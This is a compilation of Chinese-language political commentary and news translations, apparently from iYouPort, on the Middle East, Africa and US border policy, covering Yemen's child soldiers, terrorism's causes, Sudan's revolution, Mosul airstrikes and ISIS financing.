除了为流动人口留下的水资源遭到破坏之外，这份新报告还强调了边境巡逻队“经常恐吓、骚扰和监视人道主义援助志愿者”的工作。6 月，大约 30 名装备精良的边境巡逻人员在亚利桑那州阿里瓦卡附近为逮捕四名无人移民，而当时这些移民正在该地区接受治疗。人道主义组织对边境巡逻队追踪移民营地的监视行为深表担忧。

报告指出，这些“抓捕行动在受伤、生病、受到严重创伤的人需要医疗援助和休息的地方营造恐惧和紧张的气氛。” “需要医疗的移民如果

相信这样会导致他们被捕，就会受到惊吓，并且无法在营地寻求帮助。对他们来说，这意味着继续走路而不是寻求帮助，可能是在严重脱水和未经治疗的伤痛或疾病的情况下。“

该报告是 Nomore Deaths 系列中的第二篇，而 LaCanicióndeDerechos Humanos 正在出版有关边境巡逻战术的报道。第一部分是在12月出版的，收集了大量的移民访谈，以证明该机构通过将过境者引入最危险的地形，将边境的恶劣环境作为“武器”。

美国边境巡逻队的执法策略是导致过境者死亡和失踪的原因。报告说，边境巡逻队无法充分应对这场危机，他们只会加剧危机。

U.S. Border Patrol Systematically Destroyed Water Supplies Left for Migrants in Desert, Report Says：“The U.S. Border Patrol’s own enforcement strategies are responsible for the crisis of death and disappearance of border crossers; the Border Patrol cannot adequately respond to this same crisis, only exacerbate it”.

原文

少年杀手 - iYouPort

中东和北非

是饿死还是被杀死，你选一个

「图」

「图」

Khashoggi 的惨死和全球对王储 MBS 的聚焦，意味着纽约时报、华盛顿邮报、美国有线电视新闻网和其他主流媒体终于愿意聚焦也门了。

纽约时报的最近报道是什么？沙特联盟—— 由美国最亲密的中东盟友组成—— 正在将儿童雇佣军从达尔富尔派往也门战争的前线。

在王储穆罕默德·本·萨勒曼的带领下，沙特人说他们正在努力“拯救”也门。但要做到这一点，沙特人利用他们巨大的石油财富来外包战争，主要是雇用苏丹士兵所说的成千上万在达尔富尔冲突中绝望的幸存者，其中许多都是儿童。

在过去近四年的战争中任何时候（沙特人在2015年初进入也门）都有约14,000名苏丹雇佣军与亲沙特军队并肩作战，他们常常被派往阿联酋军官不敢去的地方前线。

对于饱受战争蹂躏的苏丹家庭，沙特人的大笔资金和利润丰厚的支付对他们来说已被证明是不可抗拒的，因为他们没有其他的生存手段了。

然后，在 2016 年底左右，沙特阿拉伯提供了一条生命线：如果像 Hager 这样的男孩加入其在也门1,200英里外的部队，该王国将支付多达 10,000 美元给他的家庭。

Hager 当时只有14岁，他都还无法在地图上找到也门，他的母亲感到震惊。儿子已经在一场可怕的内战中幸存下来了—父母怎么能把他扔到另一场战争中呢？但是这个家庭最终还是妥协了。

“家人知道，他们的生活能改变的唯一方式就是，让我加入战争并带回钱给他们”，Hager 上周在首都喀土穆接受采访时说，当时他刚过完16岁生日。

值得注意的是，这次与以往所有关于也门的报道都不同，“纽约时报”实际上以王储穆罕默德·本·萨勒曼的名字为中心，指其应当为这种邪恶和不公正负责。

大多数美国人都不会理解也门的战争实际上是什么样的，特别是西方媒体至少在冲突发生的头三年里完全无视沙特联盟的大规模暴行。与伊拉克、利比亚和叙利亚的战争不同，这些战争几乎每天都能得到报道，因为它们处于最激烈的状态，并且许多美国人至少可以通过无尽的照片和视频描绘来理解战场和参与者，但也门的战争就主流媒体而言，在很大程度上是一场隐秘的和无名的冲突。

除了主流媒体无休止地表现出对中东动态的集体无知之外，利用其丰富的石油和天然气与西方结盟的中东君主制很少受到媒体的审查或批评，这些都不是秘密。

在采访中，“纽约时报”了解到，民兵中的儿童兵占据不少的比例：有些家庭非常渴望这笔钱，他们甚至会贿赂民兵官员让他们的儿子们去打仗。许多孩子的年龄只有14到17岁之间。在采访中，五名从也门返回的战士和另一名即将离开的战士说，儿童至少占其部队的 20%。但两个孩子说超过 40%。

同样，这是一项美国从第一天开始就处于不可或缺地位的战争。

必须要记住的是，多年来沙特对已经贫困到极限的也门发动了数不清的袭击，这些人已经杀死并致残了成千上万的平民，联合国认定其中有数千人是儿童，并且已经导致数十万人流离失所。美国提供了诸多情报和军事硬件、包括美国/英国对主要港口实施的军事封锁，这些港口曾经为饥饿、疾病缠身和被战争拖垮的人口提供人道主义生命线。

- 延伸阅读：《中东君主制如何雇佣美国战以杀死其政敌?—这大概就是战争未来的样子》

The Saudi coalition—made up of America’s closest Middle East allies—is sending child mercenaries from Darfur to the front lines of the Yemen war. “Families know that the only way their lives will change is if their sons join the war and bring them back money,”

Hager said in an interview last week in the capital, Khartoum, a few days after his 16th birthday.

原文

恐怖主义无关宗教 正相反是对信仰的威胁 - iYouPort

中东和北非

Trump的华人支持者对伊斯兰教的标签化认知和对恐袭成因的错误理解也融入了中文圈的争执，各种怪异的观点层出不穷。虽然曾经写过很多纠正，但事实显示，并没能对舆论场起到明显作用，只好继续重复。

「图」

「图」

首先，将恐怖主义等同于政治暴力的大屠杀或种族灭绝是不恰当的，因为后者杀害的是整个群体，而恐怖主义杀害的是一小部分，通过他们来影响更广泛的“观众”。纳粹寻求灭绝犹太人、胡图族人寻求灭绝卢旺达人和图西族人，他们试图杀害的正是实际上的“目标”，然而恐怖主义并非完全如此，他们真正的目标是更广泛的人群，杀戮是在传递一个信息给更广泛的群体。再此意义上，被害者只能是恰好成为了受害人。

其次，更简单的误解便是将恐怖主义和宗教挂上因果关系、或者认为恐怖主义是一种“有别于正常人的另类基因”，甚至指称恐怖分子是魔性附体的怪胎……中文舆论中很多。这的确是一些能令自己置身事外的、最便捷的解释，意为：“他们不正常，我们才是正常的，所以我们不会变成他们”。但实际上正相反，恐怖主义不是什么特殊人格或者说与个体特性无关，并不存在“恐怖主义人格”这种东西，恐怖主义行为是环境造成的。

政治学家和社会学家们的兴趣都在恐怖主义集团的政治和社会背景上，却较少有人会着眼于微观层次的恐怖主义心理研究，比如他们为什么会被成功招募、他们的动机成因是怎样的？弄清这些将是解决问题的终极方案。

恐怖主义负载着价值判断，一个人眼中的“恐怖分子”是另一个人眼中的“自由战士”，这正是恐怖主义集团能招募到如此多追随者的主因之一；对恐怖主义心理学的研究令政治心理学中情境论和性情论的区别更加凸显了，最终情境论占据了主导——政治极端主义者和群体总体而言并非精神病患者，虽然他们明显受到为其行为辩护的意识形态的严重驱使，比如被歪曲的宗教教义，是能令他们安心的有效渠道，但并不是令其成为恐怖分子的原因。那一时刻他们设置自己为代理状态了，「为了真主而战」、「受真主引导」，只是一种自我安慰。而心理需求才是根源和主因，却被「反恐」忽视。

包括911及之后，所有造成比较严重后果的恐袭案，综合一下主犯身世记录就能发现这点，他们都曾经是“普通人”，并且在相关方面存在共性：在自己的国家居住很久但没有获得平等的国民待遇，他们都可以算是社会边缘人，在他们所处的国家里或因社会经济地位低落、或因有色人种而遭到歧视，均对自身处境心怀不满，有的人甚至早已存在丰富的犯罪记录；也有人自小与社会梳理，归属感缺失磨合出对特定群体甚至人类整体的特殊的敌视，于是寻找属于自身血缘的归属、信奉一些原本不相干的宗教诉求、视无差别杀戮的恐怖首脑为“英雄”、曲解最基础人性中的对“我”的成就需求。

然而偏见和被偏见是一种普遍现象，它来源于人类大脑中创建分类的方式、对不安全感的基本反应。也正因此，偏见不可能消除，它就构建在人类的常规反应中。那些声称不会受到偏见影响的人们最多只说出了一半事实——他们能确信不会将自己的偏见付诸实施。很明显这是一个需要意识介入的领域，意识帮人们压制、重构潜意识下的行为反应，并制定其他行为方案。

当普通的歧视被扩大化并且付诸实践的时候就将出现恶性偏见，甚至由此导致种族清洗或种族灭绝（过渡到政治暴力）。因为它经常会涉及身份认同问题，是与归属需求相似的一种“动机”。问题就在这里。以发生在20号的马里劫持案为例，据媒体报道，持枪者要求人质背诵《古兰经》内容，以此区分穆斯林与非穆斯林。这就是一种以极端方式处理的身份认同，它来自于对排斥穆斯林身份的反击。

与之对立的另一种寻求身份认同的方式则是意识驱使的，就如曾经MIC的报道：一位穆斯林男子无声地询问路人：“你相信我吗？如果是，请抱抱我”。

「图」

「图」

自杀式恐袭者可以做到在没有任何心理负担的状况下杀戮那些无辜的人，长期的仇恨在那一刻能让他们感觉到自豪，他们的公民权被剥夺了，就如同他们杀害的那些人一样不存在公民权。（下篇中具体说自杀式恐怖袭击）

但去人性化并不是恐怖主义和政治暴力的唯一原因。经济上的自私自利、国家安全面临的压力、转嫁人群不满情绪的需要等所有这些，以及其他原因都可解释冲突的发生。但强大的破坏性冲突不能仅以自私自利来解释，更深刻的非理性动机（及幻觉）不可避免的伴随着冲突的始终。

在解释恐怖主义和一般政治暴力中另一种比较流行的理论是“挫折-攻击理论”，它认为攻击行动发生于一个人目标受挫或被阻的时候。应用于恐怖主义的解释解释则认为：恐怖主义者的行为是“情感转移（投射）”的一种形式。人类用投射或转移的方式发泄不满是很有普遍性的，但它通常上升不到“主义”，最常见比如在单位生了气回家打孩子，这就是心理防卫机制在起作用。

被怀疑为巴黎恐怖袭击主谋的比利时男子阿卜德勒哈米德·阿巴奥德(Abdelhamid Abaaoud)是一名伊斯兰国战士，据称他在去年1月当局挫败了一次恐怖袭击计划之后逃到了叙利亚。那次被挫败的恐怖袭击针对的是比利时东部城市韦尔维耶。据纽约时报报道，有关追捕阿巴奥德、以及用空袭袭击未果的新细节提供的最新证据表明，那些参与巴黎袭击的嫌疑人中，有不少人是当局事先就知道的……

然而挫折-攻击理论顶多能做为一整套环节中的节点存在，它并不是动机根源。且它是从个人层次上去解释的，所以当它迈向社会或群体层次时无疑会面临困难。群体并不仅仅是个人的简单集合，团体动力经常能对个人发挥影响、改变个人在独自情况下做出的决策。于是情境论依旧占据主体。且不止恐怖主义，政治极端主义特别是种族灭绝式暴力，情境因素都能在其中起到驱使人们出现背离自身声称的价值的行为，路西法效应就是最经典的邪恶成因心理分析。

很多证据显示，恐怖主义者认为自己别无选择，不得不实施恐怖主义行为、用暴力对外部形成威胁，他们的行为是基于各种原因通过报复社会来表达对政治的极度不满和反抗。他们的确受到了基本归因偏差的反向作用：高估了自身行为源于情势需要的程度。不过在某些状况下确实没有太多选择，尤其是压迫性政治体系里，恐怖主义事实上是那些寻求改变的人们能采取的唯一的行为。极权对人权的无情镇压、

对某些种族的歧视，不同意见无法表达，不得不诉诸政治暴力。

当下真正的恐怖主义产生和发展的国际条件也是如此，基于对国内政治的不满和反抗而发生的个人恐怖行为，是个人表达对社会不满和反抗的极端形式。然而美国国安局用非法监听的方式“反恐”、中国对付维族人士的严打肃杀、宣传机构呼吁全国“警惕维人”，他们正在以“国家安全”为由趁机扩权，“反恐”之道已经变成了制造恐慌的问题本身。当国内强权专制和国际霸权主义相结合的“反恐”开启，恐怖主义行为将进入更疯狂的时代。

恐怖主义是可怕的，然培养恐怖主义的社会情境和国际体系更加可怕。

中国官媒经常这样报道，“新疆警方打掉某“暴恐”团伙，并打死/抓获＊＊名团伙成员“。人权组织和流亡者则说，新疆暴力源于许多维吾尔人对中国控制新疆的宗教和文化不满，同激进组织无关。

IS不会是恐怖主义集团的终极版、纳粹灭亡也可能不是极端政治暴力的终结，如果根源无法解决，还将会有下一个更强大的恐怖主义集团出现、以及频繁不断的不形成集团的零散恐袭。

「图」

「图」

那么“根源”是什么呢？基于本文分析并认同的情境论，列举恐怖主义形成根源的情境因素，如果希望反恐能真正有效彻底，在打击已成型并强大起来的恐怖主义集团的同时，以下情境当引以为戒：

1、缺乏民主、公民自由和法治

2、失败国家或急速的现代化

3、世俗或宗教类型的、极端的意识形态

4、政治暴力、内战、独裁和侵略的历史先例

5、和权利不对等

6、非法的和腐败的政府

7、 强大的外部行为体所扶持的非法政府

8、 严重的种族根源的歧视问题和经历

9、 国家本身排斥不同政见者和新兴社会阶层

10、会不公的经历

11、 高度强调意识形态、强调领导人个人崇拜

12、 触发事件

……

原文

战胜暴君 - iYouPort

中东和北非

这是一波变革浪潮中的最新一次，这次变革浪潮席卷了非洲所有统治时间最长的独裁者。持续了数月的顽强反抗终于得到了成功的喜讯，但接下来的事仍是未知的

「图」

「图」

4月11日凌晨，人群中充满了嘈杂声和鼓声，响亮的呼喊清晰可见：“他们倒台了！我们赢了！“

是的，看起来人民的确赢了。当奥马尔·巴希尔（Omar al-Bashir）在一场不流血的政变中夺取了政权后，差不多整整30年，这位对苏丹造成了重大破坏的人现在终于被推翻了。他的倒台标志着非洲最长久统治的暴君之一完蛋了，这是连续四个月几乎无休止的抗议的高潮。

“尽管遇到了所有的障碍和困难，但它已经结束了，”喀土穆的工程师 Ahmed Elyas 说。“我们赢了。”

自4月6日以来，数万名示威者在喀土穆中部的主要军队大院外安营扎寨，等待将军们的公告。然而，即使在喜庆中，也不清楚这是否是一场政变，不知道这究竟会导致另一个军事强人的崛起，还是一场让平民掌权的革命。

初步报告是矛盾的。一些人认为军队试图组建由国防部长艾哈迈德·阿瓦德·伊本·奥夫（Ahmed Awad Ibn Auf）领导的临时政府，他因为在战争罪中的作用而受到美国的制裁；但包括工会联盟苏丹专业人员协会在内的抗议领导者表示，他们只会接受向民主过渡政府移交权力。未经证实的报道称，巴希尔和国际刑事法院（icc）因战争罪而通缉的其他两人已被捕。

显而易见的是，巴希尔的垮台是一波变革浪潮中的最新一次，这次变

革浪潮席卷了非洲所有统治时间最长的独裁者，从阿尔及利亚到津巴布韦。

推动这一趋势的是城市化和移动电话的普及，这使得组织抗议活动变得更加容易，战略与国际研究中心的 Judd Devermont 说。自由之家（Freedom House）的乔恩•特敏（Jon Temin）表示，去年发布的调查显示民主指数进步最大的五个国家中有三个是非洲国家：安哥拉、埃塞俄比亚和冈比亚。“人口动力越来越大，”他说。

由于食品价格上涨，苏丹的抗议活动于12月爆发。但人们很快就转向了对巴希尔的愤怒，巴希尔自1989年以来一直处于可悲的治理状态。他的士兵在达尔富尔和南部的反叛乱战争中随意屠杀和强奸平民，这些行为导致人民的愤怒以起诉他和一些最接近他的人。

他的伊斯兰化盟友以所谓的“不道德”行为鞭打女性，比如穿着裤子。腐败盛行。经济在2018年萎缩了2.3%。通货膨胀在今年年初达到了70%（尽管政府声称已经下降）。当抗议活动在12月爆发时，政府采取了逮捕、殴打和杀害人民的方式。2月，巴希尔宣布全国紧急状态，解散了政府，并用士兵或军警官参政要员取代了所有18名州长。然而，呼吁他下台的人群继续膨胀。

4月6日是苏丹军事独裁者加法尔·尼梅里（Gaafar Nimeiry）于1985年革命中被推翻的周年纪念日，成千上万的人走上首都街头。许多人希望重复早期革命的壮举，持续几个月的大规模抗议活动促使军队介入并驱逐一个令人痛恨的暴君。

在首都爆发新的抗议活动后的几天之内，成千上万的人在武装部队总部和巴希尔目前的住所外设立营地。虽然这不是苏丹人民第一次试图反抗巴希尔，但现在，显著的不同之处在于他们赢得了部分武装部队的支持。

当政府试图用催泪瓦斯和子弹清除喀土穆的抗议活动时，武装士兵加入了抗议人群，并开枪射击以保卫抗议。海军军官与间谍机构和准军事部队成员交火。 4月9日，一些初级军官告诉人群他们已经“加入了起义”。

现在最大的问题是谁将接替巴希尔。正式反对派的分歧比过去要少，但反对派仍然没有明显的领导者。在过去，因曾与执政的全国大会党（ncp）合作，在抗议者的眼中几个可用的候选人都是不合格的；然而，新政府可能不得不将现任的和前任的 ncp 成员纳入其官僚体系。

巴希尔的追随者阿拉伯和非洲的领导人将密切关注苏丹的事件，他们都曾在2011年担心阿拉伯之春的第二阶段席卷其中几个国家。最近阿尔及利亚的 Abdelaziz Bouteflika 辞职后，许多人都在问这样的问题：谁是下一个？

Sudan’s dictator, Omar al-Bashir, is forced out of power. Mass protests triumph over a tyrant. Who’s next

原文

把摩苏尔变成废墟的人不会帮它重建 —— 他们声称的“精准打击”究竟是什么？ - iYouPort

中东和北非

Mosul residents are left asking: Who will pay for the reconstruction? The answer isn’t clear, except for one part, which is that America will not be involved, even though its bombs were responsible for the lion’s share of destruction.

摩苏尔的居民仍然在问：谁会为重建付钱？答案不清楚，除了一点：美国不会付钱，即使美国的炸弹是造成大部分破坏的原因。独立媒体 The Intercept 采访了一些住在摩苏尔老城的人。这是 ISIS 宣布哈里发的地方。大多数房屋仍然是残破的，空的框架，但还是有生命的迹象。有人帮人们小修、寻找工作和药品。

在由美国支持的伊拉克军队领导的达伊什占领中，为期 9 个月的战斗夺取了成千上万平民的生命。几秒钟内整个家庭就消失了。在整个伊拉克，它使数百万人流离失所在难民营，其中许多人来自摩苏尔。

然而，国家主导的重建工作几乎不存在。没有人知道需要多长时间才能让老城再次宜居 – 大多数人估计说这需要数年。现在哈里发已经被推翻，然而对于未来却没有计划。

伊拉克伊斯兰共和国估计它需要 880 亿美元的资金用于对抗 Daesh 战争之后的重建，并希望在2月的一次重要的国际捐助者会议上鼓励外国资金。但是伊拉克只设法提高了 300 亿美元的认捐额，其中大部分是用于贷款和投资，而不是直接援助。尽管土耳其认捐了50亿美元，科威特和沙特阿拉伯各自承诺提供10亿美元的重建贷款，但美国显然缺席捐助者名单。当时的国务卿雷克斯蒂尔森在一次演讲中表示，美国将不再承诺任何直接贷款，而将追求“通过投资而不是援助模式发展”。他的言论不是偶然。

“立即稳定的需求依然巨大，仅美国政府的有限资源无法满足当前迫切的需求，更不用说考虑支持长期重建，”美国国务院发言人告诉 Intercept。

美国的外交政策 —— 相当于向伊拉克注入数十亿美元的军费，但很少用于经济援助或投资的政策 —— 并不普遍。“我简直无法形容蒂勒森的演讲是多么的空洞，”参加科威特会议的伦敦智库 Chatham House 的研究分析师 Saad al-Douri 说，“他强调的主要是帮助伊拉克政府接触私人企业，并帮助美国公司投资伊拉克。”

但即使是蒂勒森的承诺也尚未实现。在会议上，蒂勒森引用了两个美国政府机构，即美国进出口银行和海外私人投资公司作为投资的潜在推动者。Intercept 联系了这两个机构，他们都回答未能确认即将在伊拉克的任何项目。EXIM 没有足够的董事会成员批准任何新项目，而 OPIC 目前没有公开列出任何新项目。而他们过去在伊拉克的项目包括 2100 万美元用于在埃尔比勒建设希尔顿逸林酒店。

“我不想说这没什么，但至少没有什么重要的，”摩苏尔居民 al-Douri 说。

Trump’s 2019 budget requested $15.3 billion in funding to continue the anti-Daesh mission in Iraq and Syria — an 18% percent increase from the year before, and almost $4 billion more than the year that Daesh was defeated in Mosul.

当美国十五年前入侵伊拉克时，它捣毁了旧国并成立了一个临时政府，主持了一系列灾难性的决定，这些决定有助于促成持久的战争，首先是针对美国的占领，然后是伊拉克逊尼派和什叶派之间的对话。这对该国造成了灾难性后果，造成美国损失超过两万亿美元。在这之后，伊拉克只有军事战略，而没有经济战略。

“在和美国官员对话的时候会听到他们不断强调：我们帮过你，现在是你自己帮自己的时候了”，大西洋理事会高级研究员 Harith al-Qarawee 说。

自战斗结束以来，特朗普对伊拉克问题没有多说什么。然而，他已经花时间表明他认为美国不应该在中东花更多的钱 -——除了军队这个明显的例外。特朗普的 2019 年预算要求 153 亿美元的资金用于继续在伊拉克和叙利亚进行反 Daesh 使命 – 比前一年增加18%，比 Daesh 在摩苏尔被击败的那些年多出了近 40 亿美元。

“最大的恐惧和批评是，这个政府面临的 ISIS 政策只是重视在军事层面。没有任何关于冲突后计划的信息。“ al-Douri 说。

在宣布胜利后，国防部长 James Mattis 高兴地向新闻界发表讲话，

他说“在世界历史上，没有任何一个军队比联军更注重限制战场上的平民伤亡和无辜者死亡，精确度给了我们历史上从未有过的选项……”

那就举一个著名“精准打击”的例子。3月17日，联合监视在西摩苏尔 al-Jadidah 区的一座三层建筑的屋顶上发现了两个 Daesh 狙击手。他们当时不知道的是，数百名平民正躲在地下室内，美国战斗机对这栋建筑投下了500磅重的炸弹。这次攻击把这栋建筑物和周围的建筑夷为了平地。数天之内救援人员无法抵达该地区，并且损坏是如此灾难性的，需要数周时间才能从废墟中拉出所有尸体。

在巨大的国际压力下，美国领导的联盟承认对攻击负责，并暂停其空袭活动进行调查。这枚炸弹只是为了杀死屋顶上的两名狙击手。美国的报告声称，这次攻击“无意中触发了 Daesh 战士在建筑物内放置的一堆炸药，从而杀死了地下室里的平民…… ”而伊拉克官员和 al-Jadidah 地区的当地人对美国的调查结果提出异议，称他们到达现场取出尸体时没有发现爆炸物存在的证据。

当救援人员最终完成清理残骸工作时，摩苏尔 al-Jadidah 部门的首席市政工程师 Doraid Hazzim 在攻击现场撤离了213个民用机构后，他们告诉 The Intercept：这种错误的发生绝非首次。

在 al-Jadidah 发生的屠杀事件是3月份，之后情况变得更糟了。 5 月，马蒂斯说联军已经转向在摩苏尔使用“歼灭战术”。不久之后，战斗达到了最血腥的高度。但平民伤亡的增加可能与美国几个月前做出的决定有关。

2016年12月，联合部队司令 Stephen J. Townsend 中将对伊拉克部队驻扎的美国顾问下达了轰炸指令，允许更多的指挥官在现场指挥空袭。在批准空袭之前，不是等待“计划内的攻击”，这涉及情报收集和监测，而是允许从前线调用“动态攻击”。在战斗的最后阶段，联合政府表示，超过 90% 的攻击都属于动态类别。

官员们认为，这个 12 月指令允许前线指挥官在战斗中作出更快的决定，而联军投下炸弹的同时，伊拉克部队负责指挥目标。五角大楼指挥官对此称“这是安全性增加而不是降低”。

看起来可不是这么回事。

After surveying city morgues and gravesites, the Associated Press estimates that between 9,000 and 11,000 civilians were killed

in Mosul, and estimates that coalition or Iraqi forces were responsible for at least 3,200.“

联军轰炸的强度与被杀或受伤的平民人数密切相关，”AirWars 的 Chris Woods 解释说，这是一个跟踪伊拉克和叙利亚空袭的独立监察机构，“现在这听起来很明显，但实际上原始数据显示，你掉下的炸弹和导弹越多，你要杀的平民就越多 – 这正是发生的事。”

据美联社估计，在调查城市停尸房和墓地后，摩苏尔大概有 9,000 至 11,000 平民遇难，估计联军或伊拉克部队至少要负责 3200人。但这只是一个估计 – 在战争的混乱中，很难确定是谁杀了谁。“纽约时报”开创性的调查是第一个也是唯一一个系统研究联军空袭造成的平民伤亡。“泰晤士报”访问了伊拉克境内的一百多次空袭事件，并利用联盟共享的卫星图像和信息获得了代表性样本，其中包括袭击达到预期目标时的情况，以及何时没有达到目标。调查发现，五分之一的联合攻击中有杀死平民 – 比联盟自己的报告高出 31 倍以上。

“联盟的战争叙述是’我们比俄罗斯好，因为我们使用精确炸弹，因此我们不会杀死尽可能多的平民’，”伍兹说，“然而我们认为已经清楚地表明，所谓的精确战争实际上的杀戮已经超过了他们声称的数字”。

解析战斗的哪一方应该对特定损坏负责是困难的。尤其是因为有这么多的爆炸，很难说是谁造成了什么。在空袭更加孤立的地区，可以将现场报告与联盟在故意袭击前进行的卫星数据和监视进行比较。

然而在几乎所有建筑物都被摧毁的旧城区，确定对单个空袭的责任人几乎是不可能的。Daesh 使用强大的汽车炸弹来对付侵占的部队，所以这些部队以空袭作为回应。六月份，联军投下了 4,100 枚炸弹 – 每十分半钟一枚。

……

潘多拉魔盒里希望在最后出现。希望神的最后怜悯能够让人类在世界上所有的邪恶中幸存下来吗？

原文

政治暴力的价格 - iYouPort

中东和北非

ISIS依旧很有钱。即使没有实体国家，伊斯兰国仍然可以利用其主要产品积累财富：政治暴力。他们是怎么做的？

「图」

「图」

这里是贝鲁特。如果您想在这里转账，您可能会被引导到 Abu Shawkat。他在黎巴嫩首都的一个郊区的小办公室工作，但不会给你确切地点。相反，他会指引你到附近的小巷，但他是否出现取决于他是否喜欢你的样子。

Abu Shawkat 不是他的真名，他是 hawala 系统的一部分，该系统通常用于在银行系统崩溃或者在某些人认为正规转账不方便的地方进行现金转移。如果他同意做生意，你需要设置密码，他会拿走你的现金，然后向你提供你所在城市的 hawala 经纪人的联系信息。

任何向该特定经纪人提供该特定密码的人都可以获得你的现金。因此，现金可以跨境运输、而无需询问谁是发送者谁是接受者或者目的是什么。

在邻国叙利亚的情况下，美国和英国资助的项目就使用 **hawala** 系统向该国运送了数百万美元，人道主义组织使用它来支付工作人员，在国外工作的叙利亚人依靠它来向贫困的亲属汇款。

但 Abu Shawkat 经营的 hawala 相当于一家小型连锁店：该行业的巨头之一，分析家认为他们拥有一个货币服务业务网络，并且已经每周投入了数百万美元，属于伊斯兰国。

即使美国支持的部队夺回伊斯兰国在叙利亚的最后一块领土，美国及其盟国也无法摧毁恐怖组织的经济帝国。根据专家的估计，ISIS 仍然是一个金融强国：它仍然可以获得数亿美元，并且可以依靠经过实战考验的设计模式来保持资金流入其库房。

这种持续的财富收入具有真正的风险，有可能帮助该组织的核心成员保持忠诚，并在未来几年内通过恐怖袭击造成更多严重的破坏。

伊斯兰国的财政实力为美国和其他政府面临的更广泛挑战提供了一个窗口。在努力从经济上挤压该组织的过程中，华盛顿被迫依赖一种根本不同于其军事行动的战略：其掌握的主要武器不是空袭和炮击，而是更微妙的工具，例如制裁与伊斯兰国有关的企业，拒绝他们进入国际金融体系，并与全球各国政府悄悄合作。

成功将不那么明显，反对该组织的运动可能需要数年时间，并且无法保证胜利。

伊斯兰国持有和管理领土的日子结束了，但对于那些希望使其资源匮乏的官员来说，这是一把双刃剑。

一方面，它的巨大损失使得该组织更难以依赖两大收入来源：伊拉克和叙利亚的油田开采，以及生活在其统治下的公民的税收。这些方法在允许伊斯兰国每天筹集大约100万美元方面发挥了关键作用，伊拉克一名高级安全官员拒绝透露“情报问题”，但他告诉我，该组织正在转变为世界上最富有的恐怖组织。

另一方面，伊斯兰国的领土丧失使其摆脱了与试图建立自称“哈里发”相关的费用，使其能够专注于恐怖主义活动。一位不愿透露姓名的美国财政部官员表示，**ISIS** 的运作越来越像其反叛的前任，伊拉克的基地组织，但**ISIS**不再需要基地组织在统治领土时所拥有的相同资源。

石油仍然带来了收入：虽然伊斯兰国不再控制个别油田，但财政部官员补充说，该集团收入的主要来源是该地区的石油供应线敲诈。

还不止石油，更多详细报告见：《ISIS 简史》《反对派和巴沙尔政府干着同样的勾当—— 叙利亚：恐怖主义犯罪》

伊斯兰国仍然享用着它在权力高峰期间建立起来的巨额意外收获。“我们所知道的是，他们积累了大量的现金和其他资产，我们不知道那些钱在哪，”兰德公司的高级经济学家 Howard Shatz 说，他是关于伊斯兰国财政的几项研究的合著者。

其中一些基金似乎已投资于合法的商业企业。10月，对伊拉克埃尔比勒市伊斯兰国相关企业进行的一系列调查中发现的一条文件记录表明，该组织已投资了从房地产到汽车经销商等各种业务。这些企业通

常由中间人经营，他们与 ISIS 合作"并非出于"意识形态的同情而是为了获利，然后在被要求时将收入汇集到伊斯兰国。

伊拉克高级安全官员告诉我，伊斯兰国的大部分资产已转移到土耳其，尽管财政部已批准其在叙利亚和伊拉克的货币服务业务，这些业务与加勒比地区有很多联系。

据报道，其中一些基金由土耳其个人以现金持有，而其中一部分也投资于黄金。安卡拉对恐怖主义组织在其土地上的活动视而不见是有先例的：该组织过去通过向土耳其买主出售走私石油赚取了数百万美元。

10月份在埃尔比勒进行的突袭搜查还针对由 Fawaz Muhammad Jubayr al-Rawi 建立的金融网络，财政部声称拥有和经营叙利亚货币服务业务的伊斯兰国领导人与土耳其交换资金。土耳其政府一直否认为伊斯兰国或组织的资产提供安全港。

饱受战争蹂躏的叙利亚和伊拉克国家也为伊斯兰国提供了充分的机会，可以恢复为其前任组织提供资金的战术。

从2008年到2012年，当伊拉克的基地组织被驱逐到地下时，它的操作就像一个黑手党：他们掠夺了建筑合同，特别是在伊拉克北部城市摩苏尔; 偷走了货物并转售; 还绑架了富裕家庭成员以勒索赎金。

尽管情况紧张，但该组织仅在2008年底和2009年初的尼尼微省的月收入就接近100万美元。

今天，它有更多有利于实施这种计划的因素。曾经由伊斯兰国控制的伊拉克北部地区遭到破坏，需要进行大规模的重建工作。在去年的一次会议上，各国承诺投入300亿美元重建该地区，这一数字仍远低于伊拉克政府所说的需求。

相反，如此大规模的资金注入为伊斯兰国提供了更多从腐败中受益的机会。解密文件显示，伊拉克、库尔德和土耳其的高级政客在2009年与伊拉克的基地组织打交道；鉴于任务的重要性，现在监督资金的使用情况可能更糟。其次，伊斯兰国在其权力最高限度内对生活在其统治下的大约700万至800万人保持着细致的记录。如果该组织继续保留对这些记录的控制权，他们就可以用它来勒索伊拉克人和叙利亚人。

“如果你住在伊斯兰国的领地，他们知道你住的地方，他们知道你赚

了多少钱，而且他们知道你的生意是什么，他们就可以去商人那里说，'你必须为你的儿子感到骄傲。[如果]看到发生在他身上的事(死亡)真是太遗憾了。'"Shatz 说。

像任何一家灵敏的跨国集团一样，伊斯兰国的收入来源很多元化。例如，即使美国及其盟国设法切断了该集团的绑架勒索赎金业务，他们也可以转向那些商业企业继续勒索的业务。

不过这种情况远非绝望。美国已经通过瞄准其石油网络以削弱了伊斯兰国的财政状况，该组织可能会发现其细致的记录也可以变成对自己的枷锁：一旦被捕获，这些记录可以提供其人员和收入来源的详细概述。

Abu Shawkat 的市场优势在于他可以将钱汇到正规机构崩溃的地方。伊斯兰国的商业模式正依赖于类似的因素，只是规模更大。它的目的是利用国家崩溃作为资助其主要产品的一种方式：政治暴力。这种暴力进一步削弱了国家，为恐怖组织创造了更多的金融机会。

对伊斯兰国的军事胜利值得庆祝，但它也是双刃剑，使得该组织能够依靠多年来一直服务的经济战略。不要指望它很快就会破产。

All ISIS Has Left Is Money. Lots of It. Even without a physical state, the Islamic State can still fund its main product: political violence.

原文

无效的“反恐” - iYouPort

中东和北非

花了5.9万亿美元，恐怖分子却越来越多了，为什么？

「图」

「图」

2018年11月的一项研究发现，自911以来逊尼派武装分子的数量增加了270%，尽管美国领导的打击基地组织和伊斯兰国的活动仍然存在。这项由华盛顿特区战略与国际研究中心进行的研究估计，2018年将有100,000至230,000名萨拉菲—圣战组织和盟军战士。

2001年，这一数字估计在 37,000 至 66,000 之间。据“独立报”报道，2018年的数字比2016年的峰值下降了约5%。但是白宫和五角大楼的高级官员表示，实际数字远低于此。

战斗人员数量最多的国家是叙利亚（数量为43,450至70,550），阿富汗（27,000至64,060），巴基斯坦（17,900至39,540），伊拉克（10,000至15,000），尼日利亚（3,450至6,900），索马里（3,095至7,240之间）。

